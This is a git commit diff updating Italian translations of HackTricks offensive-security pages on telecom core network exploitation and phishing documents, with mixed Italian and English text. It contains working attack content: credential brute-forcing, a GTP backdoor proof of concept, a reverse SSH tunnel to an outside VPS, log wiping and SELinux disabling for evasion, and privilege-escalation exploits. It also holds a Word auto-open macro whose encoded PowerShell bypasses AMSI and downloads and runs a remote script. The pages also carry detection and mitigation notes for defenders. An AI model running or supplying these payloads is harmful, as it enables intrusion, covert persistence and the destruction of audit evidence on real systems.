mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
259b81b4a1
commit
f83d080f5b
@ -1,27 +1,27 @@
|
||||
# Sfruttamento delle Reti Telecom (GTP / Ambienti di Roaming)
|
||||
# Sfruttamento delle Reti Telecom (GTP / Ambienti Roaming)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> I protocolli del core mobile (GPRS Tunnelling Protocol – GTP) spesso attraversano backbone di roaming GRX/IPX semi-affidabili. Poiché viaggiano su UDP semplice con quasi nessuna autenticazione, **qualsiasi accesso all'interno del perimetro telecom può solitamente raggiungere direttamente i piani di signalling core**. Le note seguenti raccolgono trucchi offensivi osservati in natura contro SGSN/GGSN, PGW/SGW e altri nodi EPC.
|
||||
> I protocolli del core mobile (GPRS Tunnelling Protocol – GTP) spesso attraversano backbone di roaming semi-trustati GRX/IPX. Poiché viaggiano su plain UDP con quasi nessuna autenticazione, **qualsiasi foothold all'interno del perimetro telecom può di solito raggiungere direttamente i piani di signalling core**. Le note seguenti raccolgono trucchi offensivi osservati in the wild contro SGSN/GGSN, PGW/SGW e altri nodi EPC.
|
||||
|
||||
## 1. Ricognizione e Accesso Iniziale
|
||||
## 1. Recon & Initial Access
|
||||
|
||||
### 1.1 Account OSS / NE di default
|
||||
Un numero sorprendentemente elevato di elementi di rete dei vendor viene fornito con utenti SSH/Telnet hard-coded come `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicata aumenta drasticamente il successo del brute-force:
|
||||
### 1.1 Account OSS / NE Predefiniti
|
||||
Un numero sorprendentemente elevato di elementi di rete dei vendor viene fornito con utenti SSH/Telnet hard-coded come `root:admin`, `dbadmin:dbadmin`, `cacti:cacti`, `ftpuser:ftpuser`, … Una wordlist dedicata aumenta drasticamente il successo del brute-force:
|
||||
```bash
|
||||
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
|
||||
```
|
||||
Se il dispositivo espone solo una management VRF, effettua prima il pivot tramite un jump host (vedi sezione «SGSN Emu Tunnel» qui sotto).
|
||||
Se il dispositivo espone solo una management VRF, esegui prima un pivot attraverso un jump host (vedi la sezione «SGSN Emu Tunnel» più sotto).
|
||||
|
||||
### 1.2 Rilevamento degli host all'interno di GRX/IPX
|
||||
La maggior parte degli operatori GRX consente ancora **ICMP echo** attraverso il backbone. Combina `masscan` con le sonde UDP integrate `gtpv1` per mappare rapidamente i listener GTP-C:
|
||||
### 1.2 Scoperta degli host all'interno di GRX/IPX
|
||||
La maggior parte degli operatori GRX consente ancora **ICMP echo** attraverso il backbone. Combina `masscan` con le probe UDP integrate `gtpv1` per mappare rapidamente i listener GTP-C:
|
||||
```bash
|
||||
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
|
||||
```
|
||||
## 2. Enumerating Subscribers – `cordscan`
|
||||
|
||||
Il seguente strumento Go crea pacchetti **GTP-C Create PDP Context Request** e registra le risposte. Ogni risposta rivela l'attuale **SGSN / MME** che serve l'IMSI interrogata e, talvolta, il PLMN visitato dall'abbonato.
|
||||
Il seguente Go tool crea pacchetti GTP-C Create PDP Context Request e registra le risposte. Ogni risposta rivela l'attuale SGSN / MME che serve l'IMSI interrogato e, talvolta, il PLMN visitato dall'abbonato.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -29,12 +29,12 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Opzioni principali:
|
||||
Flag principali:
|
||||
- `--imsi` IMSI dell'abbonato target
|
||||
- `--oper` Home / HNI (MCC+MNC)
|
||||
- `-w` Scrive pacchetti raw in un file pcap
|
||||
|
||||
Costanti importanti all'interno del binario possono essere modificate per ampliare le scansioni:
|
||||
Costanti importanti all'interno del binario possono essere patchate per ampliare le scansioni:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
@ -42,7 +42,7 @@ common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Esecuzione di codice su GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` è un piccolo servizio ELF che **binds UDP 2123 and parses every incoming GTP-C packet**. Quando il payload inizia con un tag pre-condiviso, il resto viene decriptato (AES-128-CBC) ed eseguito tramite `/bin/sh -c`. Lo stdout/stderr vengono esfiltrati all'interno di messaggi **Echo Response** in modo che non venga mai creata una sessione esterna.
|
||||
`GTPDoor` è un piccolo servizio ELF che **si mette in ascolto sulla porta UDP 2123 e analizza ogni pacchetto GTP-C in ingresso**. Quando il payload inizia con un tag pre-condiviso, il resto viene decifrato (AES-128-CBC) ed eseguito tramite `/bin/sh -c`. Lo stdout/stderr vengono esfiltrati all'interno di messaggi **Echo Response** in modo che non venga mai creata una sessione verso l'esterno.
|
||||
|
||||
Pacchetto PoC minimo (Python):
|
||||
```python
|
||||
@ -53,39 +53,39 @@ enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Rilevamento:
|
||||
* qualsiasi host che invii **unbalanced Echo Requests** agli IP SGSN
|
||||
* flag versione GTP impostato a 1 mentre message type = 1 (Echo) – deviazione dalla specifica
|
||||
* qualsiasi host che invia **unbalanced Echo Requests** agli SGSN IPs
|
||||
* GTP version flag impostato a 1 mentre message type = 1 (Echo) – deviazione dalle specifiche
|
||||
|
||||
## 4. Pivoting Through the Core
|
||||
## 4. Pivoting attraverso il Core
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` fornisce un emulatore SGSN in grado di **stabilire un PDP context verso un reale GGSN/PGW**. Una volta negoziato, Linux riceve una nuova interfaccia `tun0` raggiungibile dal roaming peer.
|
||||
`OsmoGGSN` fornisce un emulatore SGSN in grado di **stabilire un PDP context verso un GGSN/PGW reale**. Una volta negoziato, Linux riceve una nuova interfaccia `tun0` raggiungibile dal roaming peer.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
ip route add 172.16.0.0/12 dev tun0
|
||||
microsocks -p 1080 & # internal SOCKS proxy
|
||||
```
|
||||
Con un corretto firewall hair-pinning, questo tunnel aggira le signalling-only VLANs e ti porta direttamente nel **data plane**.
|
||||
Con un corretto hair-pinning del firewall, questo tunnel bypassa le VLAN riservate alla segnalazione e ti porta direttamente nel **data plane**.
|
||||
|
||||
### 4.2 SSH Reverse Tunnel over Port 53
|
||||
DNS è quasi sempre aperto nelle infrastrutture roaming. Esporre un servizio SSH interno sul tuo VPS in ascolto su :53 e riconnettersi più tardi da casa:
|
||||
DNS è quasi sempre aperto nelle infrastrutture di roaming. Esponi un servizio SSH interno sul tuo VPS in ascolto su :53 e ricollegati più tardi da casa:
|
||||
```bash
|
||||
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
|
||||
```
|
||||
Verifica che `GatewayPorts yes` sia abilitato sul VPS.
|
||||
|
||||
## 5. Canali nascosti
|
||||
## 5. Covert Channels
|
||||
|
||||
| Canale | Trasporto | Decodifica | Note |
|
||||
|--------|-----------|-----------|------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | listener passivo puro, nessun traffico in uscita |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) codificato negli ottetti del record A | osserva il sotto-dominio `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob in private IE | si mimetizza nel traffico GTP legittimo |
|
||||
|---------|-----------|----------|-------|
|
||||
| ICMP – `EchoBackdoor` | ICMP Echo Req/Rep | chiave a 4 byte + blocchi da 14 byte (XOR) | listener puramente passivo, nessun traffico in uscita |
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (key = `funnyAndHappy`) codificato negli ottetti dell'A-record | monitora il sottodominio `*.nodep` |
|
||||
| GTP – `GTPDoor` | UDP 2123 | blob AES-128-CBC in IE private | si miscela con il chatter GTP-C legittimo |
|
||||
|
||||
Tutti gli implants implementano watchdogs che **timestomp** i loro binari e re-spawnano in caso di crash.
|
||||
All implants implement watchdogs that **timestomp** their binaries and re-spawn if crashed.
|
||||
|
||||
## 6. Cheatsheet per Defense Evasion
|
||||
## 6. Defense Evasion Cheatsheet
|
||||
```bash
|
||||
# Remove attacker IPs from wtmp
|
||||
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
|
||||
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. Privilege Escalation su Legacy NE
|
||||
## 7. Escalation dei privilegi su NE legacy
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
@ -111,81 +111,81 @@ python3 PwnKit.py
|
||||
# Sudo Baron Samedit – CVE-2021-3156
|
||||
python3 exploit_userspec.py
|
||||
```
|
||||
Suggerimento per il clean-up:
|
||||
Suggerimento per la pulizia:
|
||||
```bash
|
||||
userdel firefart 2>/dev/null
|
||||
rm -f /tmp/sh ; history -c
|
||||
```
|
||||
## 8. Strumenti
|
||||
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – tooling personalizzati descritti nelle sezioni precedenti.
|
||||
* `FScan` : scansioni TCP della intranet (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `cordscan`, `GTPDoor`, `EchoBackdoor`, `NoDepDNS` – custom tooling described in previous sections.
|
||||
* `FScan` : scansione TCP intranet (`fscan -p 22,80,443 10.0.0.0/24`)
|
||||
* `Responder` : LLMNR/NBT-NS rogue WPAD
|
||||
* `Microsocks` + `ProxyChains` : pivoting SOCKS5 leggero
|
||||
* `FRP` (≥0.37) : attraversamento NAT / bridging di asset
|
||||
* `Microsocks` + `ProxyChains` : lightweight SOCKS5 pivoting
|
||||
* `FRP` (≥0.37) : NAT traversal / asset bridging
|
||||
|
||||
## 9. Attacchi di registrazione NAS 5G: SUCI leaks, downgrade a EEA0/EIA0, e NAS replay
|
||||
## 9. Attacchi di registrazione NAS 5G: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
|
||||
|
||||
La procedura di registrazione 5G avviene su NAS (Non-Access Stratum) sopra NGAP. Fino a quando la security NAS non viene attivata da Security Mode Command/Complete, i messaggi iniziali non sono autenticati né cifrati. Questa finestra pre-security abilita molteplici vettori di attacco quando è possibile osservare o manomettere il traffico N2 (es. on-path all'interno del core, rogue gNB, o testbed).
|
||||
La procedura di registrazione 5G avviene su NAS (Non-Access Stratum) sopra NGAP. Fino a quando la security NAS non viene attivata tramite Security Mode Command/Complete, i messaggi iniziali non sono autenticati né cifrati. Questa finestra pre-security abilita molte vie di attacco quando puoi osservare o manomettere il traffico N2 (es. on-path all'interno del core, rogue gNB, o testbed).
|
||||
|
||||
Flusso di registrazione (semplificato):
|
||||
- Registration Request: l'UE invia SUCI (SUPI cifrato) e capabilities.
|
||||
- Authentication: AMF/AUSF inviano RAND/AUTN; l'UE restituisce RES*.
|
||||
- Security Mode Command/Complete: vengono negoziati e attivati integrità e cifratura NAS.
|
||||
- PDU Session Establishment: configurazione IP/QoS.
|
||||
Registration flow (semplificato):
|
||||
- Registration Request: UE invia SUCI (SUPI cifrato) e capability.
|
||||
- Authentication: AMF/AUSF inviano RAND/AUTN; UE ritorna RES*.
|
||||
- Security Mode Command/Complete: negozia e attiva integrità e cifratura NAS.
|
||||
- PDU Session Establishment: setup IP/QoS.
|
||||
|
||||
Consigli per il laboratorio (non-RF):
|
||||
- Core: il deployment di default di Open5GS è sufficiente per riprodurre i flussi.
|
||||
- UE: simulatore o UE di test; decodificare con Wireshark.
|
||||
- Tool attivi: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||||
Suggerimenti per laboratorio (non-RF):
|
||||
- Core: una deployment default di Open5GS è sufficiente per riprodurre i flussi.
|
||||
- UE: simulator o test UE; decodifica con Wireshark.
|
||||
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
|
||||
- Filtri utili in Wireshark:
|
||||
- ngap.procedure_code == 15 (InitialUEMessage)
|
||||
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
|
||||
|
||||
### 9.1 Privacy degli identificatori: SUCI failures che espongono SUPI/IMSI
|
||||
Atteso: UE/USIM deve trasmettere SUCI (SUPI cifrato con la chiave pubblica della home network). Trovare un SUPI/IMSI in chiaro nella Registration Request indica un difetto di privacy che permette il tracciamento persistente dell'abbonato.
|
||||
### 9.1 Privacy degli identificatori: fallimenti SUCI che espongono SUPI/IMSI
|
||||
Atteso: UE/USIM deve trasmettere SUCI (SUPI cifrato con la chiave pubblica della home-network). Trovare un SUPI/IMSI in chiaro nella Registration Request indica un difetto di privacy che permette il tracciamento persistente dell'abbonato.
|
||||
|
||||
Come testare:
|
||||
- Catturare il primo messaggio NAS in InitialUEMessage e ispezionare il Mobile Identity IE.
|
||||
- Controlli rapidi in Wireshark:
|
||||
- Cattura il primo messaggio NAS in InitialUEMessage e ispeziona il Mobile Identity IE.
|
||||
- Controlli rapidi con Wireshark:
|
||||
- Dovrebbe decodificare come SUCI, non come IMSI.
|
||||
- Esempi di filtro: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` dovrebbe esistere; l'assenza insieme alla presenza di `imsi` indica esposizione.
|
||||
- Esempi di filtro: `nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci` dovrebbe essere presente; l'assenza di questo insieme alla presenza di `imsi` indica esposizione.
|
||||
|
||||
Cosa raccogliere:
|
||||
- MCC/MNC/MSIN se esposti; registrare per UE e tracciare nel tempo/luoghi.
|
||||
- MCC/MNC/MSIN se esposti; registra per-UE e traccia nel tempo/luoghi.
|
||||
|
||||
Mitigazione:
|
||||
- Forzare UE/USIM ad usare solo SUCI; generare allerta su qualsiasi IMSI/SUPI nel NAS iniziale.
|
||||
- Forzare UEs/USIMs a usare solo SUCI; allertare su qualsiasi IMSI/SUPI presente nel NAS iniziale.
|
||||
|
||||
### 9.2 Riduzione delle capability verso algoritmi nulli (EEA0/EIA0)
|
||||
### 9.2 Declassamento delle capability verso algoritmi nulli (EEA0/EIA0)
|
||||
Contesto:
|
||||
- L'UE dichiara gli EEA supportati (encryption) e gli EIA (integrity) nel UE Security Capability IE della Registration Request.
|
||||
- L'UE pubblicizza le EEA (encryption) e EIA (integrity) supportate nell'UE Security Capability IE della Registration Request.
|
||||
- Mappature comuni: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sono algoritmi nulli.
|
||||
|
||||
Problema:
|
||||
- Poiché la Registration Request non è protetta da integrità, un attaccante on-path può azzerare i bit di capability per costringere la selezione di EEA0/EIA0 successivamente durante il Security Mode Command. Alcuni stack consentono erroneamente algoritmi nulli anche al di fuori dei servizi di emergenza.
|
||||
- Poiché la Registration Request non è protetta in integrità, un attacker on-path può azzerare i bit delle capability per forzare la selezione di EEA0/EIA0 più tardi durante il Security Mode Command. Alcuni stack permettono erroneamente algoritmi nulli anche fuori dai servizi di emergenza.
|
||||
|
||||
Passi offensivi:
|
||||
- Intercettare InitialUEMessage e modificare il NAS UE Security Capability per pubblicizzare solo EEA0/EIA0.
|
||||
- Con Sni5Gect, agganciare il messaggio NAS e patchare i bit di capability prima di inoltrarlo.
|
||||
- Osservare se l'AMF accetta cifrature/integrità nulle e completa il Security Mode con EEA0/EIA0.
|
||||
- Intercetta InitialUEMessage e modifica il NAS UE Security Capability per pubblicizzare solo EEA0/EIA0.
|
||||
- Con Sni5Gect, aggancia il messaggio NAS e patcha i bit di capability prima di inoltrarlo.
|
||||
- Osserva se l'AMF accetta cipher/integrità null e completa il Security Mode con EEA0/EIA0.
|
||||
|
||||
Verifica/visibilità:
|
||||
- In Wireshark, confermare gli algoritmi selezionati dopo Security Mode Command/Complete.
|
||||
- Esempio di output di uno sniffer passivo:
|
||||
- In Wireshark, conferma gli algoritmi selezionati dopo Security Mode Command/Complete.
|
||||
- Esempio di output di un sniffer passivo:
|
||||
```
|
||||
Encyrption in use [EEA0]
|
||||
Integrity in use [EIA0, EIA1, EIA2]
|
||||
SUPI (MCC+MNC+MSIN) 9997000000001
|
||||
```
|
||||
Mitigazioni (obbligatorie):
|
||||
- Configurare AMF/policy per rifiutare EEA0/EIA0 tranne dove strettamente obbligatorio (es., chiamate di emergenza).
|
||||
- Preferire l'applicazione di EEA2/EIA2 come minimo; registrare e allertare su qualsiasi contesto di sicurezza NAS che negozia algoritmi null.
|
||||
- Configura AMF/policy per rifiutare EEA0/EIA0 tranne dove strettamente obbligatorio (es., chiamate di emergenza).
|
||||
- Preferire l'imposizione di EEA2/EIA2 come minimo; registrare e generare allarmi per qualsiasi NAS security context che negozia algoritmi null.
|
||||
|
||||
### 9.3 Replay della initial Registration Request (pre-security NAS)
|
||||
Poiché il NAS iniziale manca di integrità e freschezza, un InitialUEMessage+Registration Request catturato può essere riprodotto verso l'AMF.
|
||||
### 9.3 Replay of initial Registration Request (pre-security NAS)
|
||||
Poiché il NAS iniziale manca di integrità e freschezza, un InitialUEMessage+Registration Request catturato può essere replayed verso AMF.
|
||||
|
||||
Regola PoC per 5GReplay per inoltrare i replay corrispondenti:
|
||||
PoC rule for 5GReplay to forward matching replays:
|
||||
```xml
|
||||
<beginning>
|
||||
<property value="THEN"
|
||||
@ -209,33 +209,33 @@ boolean_expression="nas_5g.message_type == 65"/>
|
||||
</beginning>
|
||||
```
|
||||
Cosa osservare:
|
||||
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
|
||||
- Se AMF accetta il replay e procede con Authentication; la mancanza di validazione di freshness o del binding del contesto indica esposizione.
|
||||
|
||||
Mitigazioni:
|
||||
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
|
||||
- Imporre replay protection / binding del contesto sull'AMF; rate-limitare e correlare per-GNB/UE.
|
||||
|
||||
### 9.4 Tooling pointers (reproducible)
|
||||
- Open5GS: avviare un AMF/SMF/UPF per emulare il core; osservare N2 (NGAP) e NAS.
|
||||
- Wireshark: verificare le decodifiche di NGAP/NAS; applicare i filtri sopra per isolare la Registration.
|
||||
- 5GReplay: catturare una registration, poi replay di specifici NGAP + NAS messages secondo la regola.
|
||||
- Sni5Gect: live sniff/modify/inject NAS control-plane per costringere null algorithms o perturbare authentication sequences.
|
||||
- 5GReplay: catturare una registration, poi riprodurre specifici messaggi NGAP + NAS secondo la regola.
|
||||
- Sni5Gect: sniff/modify/inject in tempo reale il control-plane NAS per forzare algoritmi null o perturbare le sequenze di Authentication.
|
||||
|
||||
### 9.5 Defensive checklist
|
||||
- Ispezionare continuamente le Registration Request per plaintext SUPI/IMSI; bloccare i dispositivi/USIMs offenders.
|
||||
- Rifiutare EEA0/EIA0 tranne che per procedure di emergenza strettamente definite; richiedere almeno EEA2/EIA2.
|
||||
- Rilevare infrastrutture rogue o mal configurate: unauthorized gNB/AMF, unexpected N2 peers.
|
||||
- Allertare su NAS security modes che risultano in null algorithms o frequenti replay di InitialUEMessage.
|
||||
- Ispezionare continuamente le Registration Request per SUPI/IMSI in chiaro; bloccare i dispositivi/USIM non conformi.
|
||||
- Rifiutare EEA0/EIA0 eccetto per procedure di emergenza strettamente definite; richiedere almeno EEA2/EIA2.
|
||||
- Rilevare infrastrutture rogue o mal configurate: gNB/AMF non autorizzati, peer N2 inattesi.
|
||||
- Generare alert su NAS security modes che risultano in algoritmi null o frequenti replay di InitialUEMessage.
|
||||
|
||||
---
|
||||
## Idee per la rilevazione
|
||||
1. **Any device other than an SGSN/GGSN establishing Create PDP Context Requests**.
|
||||
2. **Non-standard ports (53, 80, 443) receiving SSH handshakes** from internal IPs.
|
||||
3. **Frequent Echo Requests without corresponding Echo Responses** – might indicate GTPDoor beacons.
|
||||
4. **High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields**.
|
||||
5. 5G: **InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints** (replay signal).
|
||||
6. 5G: **NAS Security Mode negotiating EEA0/EIA0** outside emergency contexts.
|
||||
1. **Qualsiasi dispositivo diverso da un SGSN/GGSN che stabilisce Create PDP Context Requests**.
|
||||
2. **Porte non standard (53, 80, 443) che ricevono SSH handshakes** da IP interni.
|
||||
3. **Frequent Echo Requests senza corrispondenti Echo Responses** – potrebbero indicare beacon GTPDoor.
|
||||
4. **Alto tasso di traffico ICMP echo-reply con campi identifier/sequence grandi e non-zero**.
|
||||
5. 5G: **InitialUEMessage che trasporta NAS Registration Requests ripetute dallo stesso endpoint** (segnale di replay).
|
||||
6. 5G: **NAS Security Mode che negozia EEA0/EIA0** al di fuori di contesti di emergenza.
|
||||
|
||||
## Riferimenti
|
||||
## References
|
||||
|
||||
- [Palo Alto Unit42 – Infiltration of Global Telecom Networks](https://unit42.paloaltonetworks.com/infiltration-of-global-telecom-networks/)
|
||||
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
|
||||
|
@ -1,40 +1,40 @@
|
||||
# File e documenti di Phishing
|
||||
# Phishing Files & Documents
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Documenti Office
|
||||
|
||||
Microsoft Word esegue la convalida dei dati del file prima di aprirlo. La convalida dei dati avviene tramite l'identificazione della struttura dei dati, secondo lo standard OfficeOpenXML. Se si verifica un errore durante l'identificazione della struttura dei dati, il file in fase di analisi non verrà aperto.
|
||||
Microsoft Word esegue una validazione dei dati del file prima di aprirlo. La validazione viene effettuata identificando la struttura dei dati, in conformità allo standard OfficeOpenXML. Se si verifica un errore durante l'identificazione della struttura dei dati, il file analizzato non verrà aperto.
|
||||
|
||||
Di solito, i file Word contenenti macro usano l'estensione `.docm`. Tuttavia, è possibile rinominare il file cambiando l'estensione e mantenere comunque la capacità di eseguire le macro.\
|
||||
Ad esempio, un file RTF non supporta le macro, per progettazione, ma un file DOCM rinominato in RTF verrà gestito da Microsoft Word e sarà in grado di eseguire macro.\
|
||||
Gli stessi meccanismi interni si applicano a tutto il software della Microsoft Office Suite (Excel, PowerPoint ecc.).
|
||||
Di solito i file Word che contengono macro usano l'estensione `.docm`. Tuttavia, è possibile rinominare il file cambiando l'estensione e mantenere comunque la capacità di eseguire le macro.\
|
||||
Ad esempio, un file RTF non supporta le macro, per progettazione, ma un file DOCM rinominato in RTF verrà gestito da Microsoft Word ed sarà in grado di eseguire le macro.\
|
||||
Gli stessi interni e meccanismi si applicano a tutto il software della Microsoft Office Suite (Excel, PowerPoint etc.).
|
||||
|
||||
Puoi usare il seguente comando per verificare quali estensioni verranno eseguite da alcuni programmi Office:
|
||||
```bash
|
||||
assoc | findstr /i "word excel powerp"
|
||||
```
|
||||
I file DOCX che fanno riferimento a un template remoto (File – Opzioni – Componenti aggiuntivi – Gestisci: Modelli – Vai) che include macro possono “eseguire” macro a loro volta.
|
||||
I file DOCX che fanno riferimento a un template remoto (File –Options –Add-ins –Manage: Templates –Go) che include macros possono a loro volta “eseguire” macros.
|
||||
|
||||
### Caricamento Immagine Esterna
|
||||
### Caricamento immagine esterna
|
||||
|
||||
Vai a: _Inserisci --> Parti rapide --> Campo_\
|
||||
_**Categorie**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
|
||||
Vai a: _Insert --> Quick Parts --> Field_\
|
||||
_**Categorie**: Links and References, **Nomi campo**: includePicture, e **Filename or URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### Backdoor tramite macro
|
||||
### Backdoor tramite macros
|
||||
|
||||
È possibile usare le macro per eseguire codice arbitrario dal documento.
|
||||
È possibile usare macros per eseguire codice arbitrario dal documento.
|
||||
|
||||
#### Autoload functions
|
||||
#### Funzioni di autoload
|
||||
|
||||
Più sono comuni, più è probabile che l'AV le rilevi.
|
||||
|
||||
- AutoOpen()
|
||||
- Document_Open()
|
||||
|
||||
#### Esempi di codice macro
|
||||
#### Esempi di codice per macros
|
||||
```vba
|
||||
Sub AutoOpen()
|
||||
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
|
||||
@ -64,26 +64,26 @@ Dim proc As Object
|
||||
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
|
||||
proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### Rimuovere manualmente i metadati
|
||||
#### Rimuovi manualmente i metadati
|
||||
|
||||
Vai a **File > Info > Inspect Document > Inspect Document**, che aprirà il Document Inspector. Clicca **Inspect** e poi **Remove All** accanto a **Document Properties and Personal Information**.
|
||||
Vai su **File > Info > Inspect Document > Inspect Document**, che aprirà il Document Inspector. Clicca **Inspect** e poi **Remove All** accanto a **Document Properties and Personal Information**.
|
||||
|
||||
#### Estensione del documento
|
||||
#### Doc Extension
|
||||
|
||||
When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\
|
||||
Fallo perché non puoi salvare macro dentro un **`.docx`** e c'è uno stigma intorno all'estensione macro-enabled **`.docm`** (ad es. l'icona in miniatura mostra un enorme `!` e alcuni gateway web/email le bloccano completamente). Pertanto, questa estensione legacy **`.doc`** è il miglior compromesso.
|
||||
Al termine, seleziona il menu a tendina **Save as type**, cambia il formato da **`.docx`** a **Word 97-2003 `.doc`**.\
|
||||
Fai così perché **non puoi salvare macro all'interno di un `.docx`** e c'è un **pregiudizio** **nei confronti** dell'estensione abilitata alle macro **`.docm`** (es. l'icona di anteprima ha un enorme `!` e alcuni gateway web/email le bloccano completamente). Pertanto, questa **vecchia estensione `.doc` è il miglior compromesso**.
|
||||
|
||||
#### Generatori di Macro Maligne
|
||||
#### Malicious Macros Generators
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
|
||||
|
||||
## File HTA
|
||||
## HTA Files
|
||||
|
||||
An HTA is a Windows program that **combines HTML and scripting languages (such as VBScript and JScript)**. It generates the user interface and executes as a "fully trusted" application, without the constraints of a browser's security model.
|
||||
An HTA è un programma Windows che **combina HTML e linguaggi di scripting (come VBScript e JScript)**. Genera l'interfaccia utente ed esegue come un'applicazione "completamente attendibile", senza i vincoli del modello di sicurezza di un browser.
|
||||
|
||||
Un HTA viene eseguito usando **`mshta.exe`**, che è tipicamente **installato** insieme a **Internet Explorer**, rendendo **`mshta` dipendente da IE**. Quindi, se è stato disinstallato, le HTA non potranno essere eseguite.
|
||||
Un HTA viene eseguito usando **`mshta.exe`**, che di solito è **installato** insieme a **Internet Explorer**, rendendo **`mshta` dipendente da IE**. Quindi, se è stato disinstallato, gli HTA non potranno essere eseguiti.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -140,9 +140,9 @@ self.close
|
||||
```
|
||||
## Forzare l'autenticazione NTLM
|
||||
|
||||
Esistono diversi modi per **forzare l'autenticazione NTLM "remotamente"**, per esempio puoi aggiungere **immagini invisibili** in email o in HTML che l'utente aprirà (anche HTTP MitM?). Oppure inviare alla vittima l'**indirizzo di file** che **innescheranno** un'**autenticazione** solo aprendo la cartella.
|
||||
